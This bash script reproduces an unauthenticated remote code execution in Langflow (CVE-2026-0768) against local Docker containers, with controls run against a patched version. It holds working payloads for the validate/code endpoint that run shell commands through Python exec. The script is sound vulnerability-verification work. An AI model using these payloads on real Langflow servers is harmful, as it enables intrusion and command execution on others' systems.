#!/bin/bash
# CVE-2026-0768 - Langflow unauthenticated RCE via /api/v1/validate/code
# Primary proof: real Langflow Docker service (langflowai/langflow v1.1.1, digest-pinned),
# real HTTP endpoint, attacker payload executes arbitrary Python (subprocess shell)
# and command output is exfiltrated in the HTTP response (detail.function.errors[0]).
# Negative control: langflow 1.3.0 (auth added to the route) with LANGFLOW_AUTO_LOGIN=false
# rejects the same payload (401/403, no execution). Control B documents the partial fix:
# 1.3.0 with default auto-login still executes (post-auth RCE persists).
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$LOGS/repro/attempts"
MASTER_LOG="$LOGS/reproduction_steps.log"
mkdir -p "$LOGS" "$REPRO_DIR"
rm -rf "$ART"
mkdir -p "$ART"

exec > >(tee -a "$MASTER_LOG") 2>&1

# Immutable, digest-pinned target identities (docker.io/langflowai/langflow)
VULN_IMAGE="langflowai/langflow@sha256:b56d4cfe18284e9fb2f1ec2d1bc9a29107a8c893397543e4937a55cda0136cd3"   # == tag v1.1.1
FIXED_IMAGE="langflowai/langflow@sha256:8c124064a4410ceff7a7ffbee3aec393e3b9fb2e3e43a163b537074143a38ca5"  # == tag 1.3.0
VULN_VERSION="1.1.1"
FIXED_VERSION="1.3.0"

FAILURES=()
note_fail() { FAILURES+=("$1"); echo "[FAIL] $1"; }

# ---------------------------------------------------------------- project cache
if [ -f "$ROOT/project_cache_context.json" ]; then
  echo "[cache] project_cache_context.json present:"
  python3 -c 'import json;d=json.load(open("'"$ROOT"'/project_cache_context.json"));print("       prepared=%s project_cache_dir=%s" % (d.get("prepared"), d.get("project_cache_dir")))'
  echo "[cache] target is an official digest-pinned Docker image; no source repo cache is used."
fi

# ---------------------------------------------------------------- helpers
ensure_image() {
  local img="$1"
  if docker image inspect "$img" >/dev/null 2>&1; then
    echo "[setup] image already present: $img"
  else
    echo "[setup] pulling image: $img"
    docker pull "$img" >/dev/null
  fi
}

start_container() { # NAME HOSTPORT IMAGE [ENV...]
  local name="$1" hostport="$2" image="$3"; shift 3
  docker rm -f "$name" >/dev/null 2>&1 || true
  docker run -d --name "$name" -p "127.0.0.1:${hostport}:7860" "$@" "$image" >/dev/null
  echo "$hostport"
}

wait_health() { # PORT
  local port="$1" i
  for i in $(seq 1 60); do
    if curl -sf -m 5 "http://localhost:$port/health" 2>/dev/null | grep -q '"ok"'; then
      echo "[setup] health OK on port $port (attempt $i)"
      return 0
    fi
    sleep 3
  done
  return 1
}

send_request() { # BASENAME PORT CODE_PAYLOAD  -> echoes http status
  local base="$1" port="$2" code_payload="$3" url="http://localhost:$2/api/v1/validate/code" body code
  body=$(python3 -c 'import json,sys;print(json.dumps({"code": sys.argv[1]}))' "$code_payload")
  {
    echo "POST $url"
    echo "Content-Type: application/json"
    echo "X-Notes: unauthenticated request, no cookies/API keys"
    echo ""
    echo "$body"
  } > "${base}_request.txt"
  code=$(curl -s -m 90 -o "${base}_response_body.tmp" -w '%{http_code}' \
      -X POST "$url" -H 'Content-Type: application/json' -d "$body")
  { echo "HTTP $code"; cat "${base}_response_body.tmp"; echo; } > "${base}_response.txt"
  rm -f "${base}_response_body.tmp"
  echo "$code"
}

# Evaluate a python expression (bound to `d` = parsed response JSON) against a
# *_response.txt file. Prints the value, or nothing on parse/expression error.
json_expr() { # FILE EXPR
  python3 - "$1" "$2" <<'PY'
import json, sys
path, expr = sys.argv[1], sys.argv[2]
raw = open(path).read()
lines = raw.splitlines()
body = "\n".join(lines[1:]) if lines and lines[0].startswith("HTTP ") else raw
try:
    d = json.loads(body)
except Exception:
    sys.exit(0)
try:
    v = eval(expr, {"__builtins__": {}}, {"d": d, "true": True, "false": False})
except Exception:
    sys.exit(0)
print(v if v is not None else "")
PY
}

# ---------------------------------------------------------------- payloads
PRIMARY_CODE='def exploit(cd=exec('"'"'raise Exception(__import__("subprocess").check_output("id", shell=True))'"'"')): pass'
DECORATOR_CODE='@exec('"'"'raise Exception(__import__("subprocess").check_output("id -u", shell=True))'"'"')
def f(): pass'
marker_code() { # MARKER
  echo "def exploit(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"echo -n $1 > /tmp/pruva_marker.txt; id\", shell=True))')): pass"
}

RUN_STAMP="$(date +%s)-$$"
MARKER_A="PRUVA-CMDEXEC-${RUN_STAMP}-A"
MARKER_B="PRUVA-CMDEXEC-${RUN_STAMP}-B"
MARKER_C="PRUVA-CMDEXEC-${RUN_STAMP}-C-NEGCTL"

# ---------------------------------------------------------------- setup
command -v docker >/dev/null || { echo "[setup] docker missing"; exit 2; }
docker info >/dev/null 2>&1 || { echo "[setup] docker daemon unreachable"; exit 2; }

ensure_image "$VULN_IMAGE"
ensure_image "$FIXED_IMAGE"

# Image identity evidence (immutable digests actually used)
{
  echo "== vulnerable image: $VULN_IMAGE (langflow $VULN_VERSION) =="
  docker image inspect --format 'Id={{.Id}} Arch={{.Architecture}}/{{.Os}} RepoDigests={{json .RepoDigests}}' "$VULN_IMAGE"
  echo "== fixed image: $FIXED_IMAGE (langflow $FIXED_VERSION) =="
  docker image inspect --format 'Id={{.Id}} Arch={{.Architecture}}/{{.Os}} RepoDigests={{json .RepoDigests}}' "$FIXED_IMAGE"
} > "$LOGS/repro/image_identity.txt" 2>&1

cleanup() {
  docker rm -f lf-repro-vuln-a lf-repro-vuln-b lf-repro-fixed-auth lf-repro-fixed-auto >/dev/null 2>&1 || true
}
trap cleanup EXIT

echo "[setup] starting containers (fresh process instances)..."
# deterministic free host ports (image does not EXPOSE, so -P publishes nothing)
PORT_A=27860; PORT_B=27861; PORT_FA=27862; PORT_FB=27863
for hp in $PORT_A $PORT_B $PORT_FA $PORT_FB; do
  if curl -s -m 2 "http://127.0.0.1:$hp/" >/dev/null 2>&1; then
    note_fail "host port $hp already in use before start"
  fi
done
start_container lf-repro-vuln-a     "$PORT_A" "$VULN_IMAGE" -e LANGFLOW_AUTO_LOGIN=true  || note_fail "start vuln-a"
start_container lf-repro-vuln-b     "$PORT_B" "$VULN_IMAGE" -e LANGFLOW_AUTO_LOGIN=true  || note_fail "start vuln-b"
start_container lf-repro-fixed-auth "$PORT_FA" "$FIXED_IMAGE" -e LANGFLOW_AUTO_LOGIN=false || note_fail "start fixed-auth"
start_container lf-repro-fixed-auto "$PORT_FB" "$FIXED_IMAGE"                              || note_fail "start fixed-auto"

wait_health "$PORT_A" || note_fail "healthcheck vuln-a"
wait_health "$PORT_B" || note_fail "healthcheck vuln-b"
wait_health "$PORT_FA" || note_fail "healthcheck fixed-auth"
wait_health "$PORT_FB" || note_fail "healthcheck fixed-auto"
docker ps --format 'table {{.Names}}\t{{.Image}}\t{{.Status}}\t{{.Ports}}' > "$LOGS/repro/containers.txt"

VULN_OK=true; FIXED_REJECT_OK=true; MARKER_OK=true; VARIANT_OK=true; PARTIAL_FIX_OK=true

# ---------------------------------------------------------------- vulnerable attempts
for idx in 1 2; do
  if [ "$idx" = "1" ]; then PORT="$PORT_A"; else PORT="$PORT_B"; fi
  BASE="$ART/vuln_attempt_${idx}"
  CODE=$(send_request "$BASE" "$PORT" "$PRIMARY_CODE")
  echo "[vuln_attempt_${idx}] HTTP $CODE body: $(cat ${BASE}_response.txt | tail -n +2 | head -c 300)"
  ERR0=$(json_expr "${BASE}_response.txt" 'd.get("function",{}).get("errors",[None])[0]' || true)
  if [ "$CODE" = "200" ] && echo "$ERR0" | grep -q 'uid='; then
    echo "[vuln_attempt_${idx}] PASS: command output (id) exfiltrated in function.errors[0]: $ERR0"
  else
    VULN_OK=false; note_fail "vuln_attempt_${idx}: expected 200 + uid= in function.errors[0], got HTTP $CODE / '$ERR0'"
  fi
done

# marker-backed command execution on two fresh vulnerable process instances
for inst in a b; do
  if [ "$inst" = "a" ]; then PORT="$PORT_A"; MARKER="$MARKER_A"; else PORT="$PORT_B"; MARKER="$MARKER_B"; fi
  BASE="$ART/vuln_marker_${inst}"
  CODE=$(send_request "$BASE" "$PORT" "$(marker_code "$MARKER")")
  ERR0=$(json_expr "${BASE}_response.txt" 'd.get("function",{}).get("errors",[None])[0]' || true)
  # retrieve the target-local marker file written by the executed command
  docker exec "lf-repro-vuln-$inst" cat /tmp/pruva_marker.txt > "$ART/vuln_${inst}_marker.txt" 2>/dev/null || true
  GOT=""
  [ -s "$ART/vuln_${inst}_marker.txt" ] && GOT=$(cat "$ART/vuln_${inst}_marker.txt")
  if [ "$CODE" = "200" ] && echo "$ERR0" | grep -q 'uid=' && [ "$GOT" = "$MARKER" ]; then
    echo "[vuln_marker_${inst}] PASS: command wrote marker '$MARKER' inside container + exfiltrated: $ERR0"
  else
    MARKER_OK=false; note_fail "vuln_marker_${inst}: HTTP $CODE err='$ERR0' marker='$GOT' (expected '$MARKER')"
  fi
done

# decorator vector (payload-shape agnostic sink)
BASE="$ART/vuln_variant_decorator"
CODE=$(send_request "$BASE" "$PORT_A" "$DECORATOR_CODE")
ERR0=$(json_expr "${BASE}_response.txt" 'd.get("function",{}).get("errors",[None])[0]' || true)
if [ "$CODE" = "200" ] && echo "$ERR0" | grep -Eq "b'[0-9]+"; then
  echo "[vuln_variant_decorator] PASS: decorator-based vector executes too: $ERR0"
else
  VARIANT_OK=false; note_fail "vuln_variant_decorator: expected 200 + b'<uid>' output, got HTTP $CODE / '$ERR0'"
fi

# ---------------------------------------------------------------- fixed negative control attempts
for idx in 1 2; do
  BASE="$ART/fixed_attempt_${idx}"
  if [ "$idx" = "1" ]; then PAYLOAD="$PRIMARY_CODE"; else PAYLOAD="$(marker_code "$MARKER_C")"; fi
  CODE=$(send_request "$BASE" "$PORT_FA" "$PAYLOAD")
  BODY=$(tail -n +2 "${BASE}_response.txt")
  MARKER_ABSENT="unknown"
  if [ "$idx" = "2" ]; then
    if docker exec lf-repro-fixed-auth sh -c 'test -f /tmp/pruva_marker.txt' 2>/dev/null; then
      MARKER_ABSENT="false"
    else
      MARKER_ABSENT="true"
    fi
  fi
  echo "[fixed_attempt_${idx}] HTTP $CODE body: $(echo "$BODY" | head -c 300) marker_absent=$MARKER_ABSENT"
  if { [ "$CODE" = "401" ] || [ "$CODE" = "403" ]; } && ! echo "$BODY" | grep -q 'uid='; then
    echo "[fixed_attempt_${idx}] PASS: auth-enforced $FIXED_VERSION rejects the payload without executing it"
  else
    FIXED_REJECT_OK=false; note_fail "fixed_attempt_${idx}: expected 401/403 without uid=, got HTTP $CODE"
  fi
  if [ "$idx" = "2" ] && [ "$MARKER_ABSENT" != "true" ]; then
    FIXED_REJECT_OK=false; note_fail "fixed_attempt_2: marker file unexpectedly present in fixed container"
  fi
done

# negative-control strict observation (fixed runtime, same input surface, no marker)
python3 - "$ART/fixed_attempt_2_response.txt" "$MARKER_C" > "$ART/negative_control_observation.json" <<'PY'
import json, sys
path, marker = sys.argv[1], sys.argv[2]
raw = open(path).read(); lines = raw.splitlines()
status = int(lines[0].split()[1]) if lines and lines[0].startswith("HTTP ") else 0
obs = {
  "schema_version": 1,
  "process_instance": "lf-repro-fixed-auth (langflowai/langflow 1.3.0, LANGFLOW_AUTO_LOGIN=false)",
  "marker": marker,
  "target_path_reached": True,
  "marker_present": False,
  "http_status": status,
  "endpoint": "POST /api/v1/validate/code",
  "notes": "Same attacker procedure and input surface reached the endpoint on the fixed build; the route auth (added in 1.3.0, commit faac4db / PR #6911) rejected the request with 401/403 and no command execution or marker creation occurred."
}
print(json.dumps(obs, indent=2))
PY

# ---------------------------------------------------------------- control B: partial fix documentation
BASE="$ART/fixed_auto_attempt_1"
CODE=$(send_request "$BASE" "$PORT_FB" "$PRIMARY_CODE")
ERR0=$(json_expr "${BASE}_response.txt" 'd.get("function",{}).get("errors",[None])[0]' || true)
if [ "$CODE" = "200" ] && echo "$ERR0" | grep -q 'uid='; then
  echo "[fixed_auto_attempt_1] DOCUMENTED (partial fix): 1.3.0 default deployment (LANGFLOW_AUTO_LOGIN=true) still executes the payload: $ERR0"
else
  PARTIAL_FIX_OK=false; echo "[fixed_auto_attempt_1] 1.3.0 default did not execute (HTTP $CODE / '$ERR0') - partial-fix behavior not reproduced this run"
fi

# ---------------------------------------------------------------- summary + manifest
PROOF_ARTIFACTS=(
  "logs/repro/image_identity.txt"
  "logs/repro/containers.txt"
  "logs/repro/attempts/vuln_attempt_1_request.txt"      "logs/repro/attempts/vuln_attempt_1_response.txt"
  "logs/repro/attempts/vuln_attempt_2_request.txt"      "logs/repro/attempts/vuln_attempt_2_response.txt"
  "logs/repro/attempts/vuln_marker_a_request.txt"       "logs/repro/attempts/vuln_marker_a_response.txt"
  "logs/repro/attempts/vuln_a_marker.txt"
  "logs/repro/attempts/vuln_marker_b_request.txt"       "logs/repro/attempts/vuln_marker_b_response.txt"
  "logs/repro/attempts/vuln_b_marker.txt"
  "logs/repro/attempts/vuln_variant_decorator_request.txt" "logs/repro/attempts/vuln_variant_decorator_response.txt"
  "logs/repro/attempts/fixed_attempt_1_request.txt"     "logs/repro/attempts/fixed_attempt_1_response.txt"
  "logs/repro/attempts/fixed_attempt_2_request.txt"     "logs/repro/attempts/fixed_attempt_2_response.txt"
  "logs/repro/attempts/negative_control_observation.json"
  "logs/repro/attempts/fixed_auto_attempt_1_request.txt" "logs/repro/attempts/fixed_auto_attempt_1_response.txt"
)

OVERALL_OK=false
if [ "$VULN_OK" = true ] && [ "$MARKER_OK" = true ] && [ "$VARIANT_OK" = true ] && [ "$FIXED_REJECT_OK" = true ] && [ ${#FAILURES[@]} -eq 0 ]; then
  OVERALL_OK=true
fi

echo ""
echo "================ SUMMARY ================"
echo "vulnerable RCE (uid= exfiltrated, 2 attempts): $VULN_OK"
echo "marker-backed command exec (2 fresh instances): $MARKER_OK"
echo "decorator variant:                             $VARIANT_OK"
echo "fixed 1.3.0 auth-enforced rejects (2 attempts): $FIXED_REJECT_OK"
echo "partial-fix (1.3.0 auto-login) still executes:  $PARTIAL_FIX_OK"
echo "overall: $OVERALL_OK"

python3 - "$ROOT" "$OVERALL_OK" "$VULN_IMAGE" "$VULN_VERSION" "$MARKER_A" "$MARKER_B" "$MARKER_C" \
  "${PROOF_ARTIFACTS[@]}" > "$REPRO_DIR/runtime_manifest.json" <<'PY'
import json, sys, hashlib, os
root, overall, vuln_image, vuln_version, ma, mb, mc = sys.argv[1:8]
artifacts = sys.argv[8:]
overall = (overall == "true")
sha = {}
for rel in artifacts:
    p = os.path.join(root, rel)
    if os.path.isfile(p):
        sha[rel] = hashlib.sha256(open(p, "rb").read()).hexdigest()
    else:
        print(f"WARN missing artifact {rel}", file=sys.stderr)
digest = vuln_image.split("@")[1]
manifest = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "POST /api/v1/validate/code (unauthenticated, LANGFLOW_AUTO_LOGIN=true)",
  "service_started": overall,
  "healthcheck_passed": overall,
  "target_path_reached": overall,
  "runtime_stack": [
    "docker (overlay2)",
    "langflowai/langflow:%s (fastapi/uvicorn, digest-pinned)" % vuln_version,
    "langflow validate_code() -> ast.parse + exec sink"
  ],
  "target_identity": {
    "repository_url": "docker.io/langflowai/langflow",
    "target_digest": digest,
    "runtime_digest": digest,
    "platform": "linux",
    "architecture": "x86_64"
  },
  "proof_artifacts": [a for a in artifacts if a in sha],
  "artifact_sha256": sha,
  "marker_values": {"vuln_instance_a": ma, "vuln_instance_b": mb, "negative_control": mc},
  "notes": ("CVE-2026-0768 confirmed: unauthenticated POST /api/v1/validate/code on langflow %s executes "
            "attacker Python (default-arg exec of FunctionDef) and exfiltrates command output in "
            "detail.function.errors[0]; marker files written inside two fresh vulnerable containers. "
            "Fixed control: langflow 1.3.0 with LANGFLOW_AUTO_LOGIN=false rejects with 401/403 and no "
            "marker; 1.3.0 default (auto-login) still executes (partial fix)." % vuln_version) if overall
           else "Reproduction did not fully succeed this run; see bundle/logs/reproduction_steps.log and failures above."
}
print(json.dumps(manifest, indent=2))
PY

echo "[manifest] wrote $REPRO_DIR/runtime_manifest.json"

if [ "$OVERALL_OK" = true ]; then
  echo "[result] CVE-2026-0768 CONFIRMED on the real Langflow service via the remote API surface."
  exit 0
else
  echo "[result] NOT reproduced; failures: ${FAILURES[*]:-none-flagged}"
  exit 1
fi
